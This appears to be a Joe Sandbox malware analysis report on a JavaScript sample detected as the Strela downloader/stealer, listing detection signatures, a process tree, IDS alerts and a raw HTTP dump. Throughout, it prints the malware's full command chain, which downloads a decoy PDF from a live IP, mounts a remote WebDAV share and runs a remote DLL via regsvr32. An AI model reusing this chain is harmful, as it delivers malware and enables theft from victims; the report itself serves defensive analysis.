Edit tour

Windows Analysis Report
2835523725329532164.js

Overview

General Information

Sample name:	2835523725329532164.js
Analysis ID:	1588165
MD5:	3e445c250da264f478c308d475b1b071
SHA1:	37b804a397d5697f7c47dd1ee51dc7603faa201b
SHA256:	0596340a9931e2ef016f8e9f50864334ca03d592cff417962f39ff1d5f4da2f8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7448 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1608,i,2018066651956470548,2699401686633846436,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7816 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7448	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ProcessId: 7448, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ProcessId: 7448, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll, ProcessId: 7536, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:36.887123+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:07:34.797467+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2835523725329532164.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2835523725329532164.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 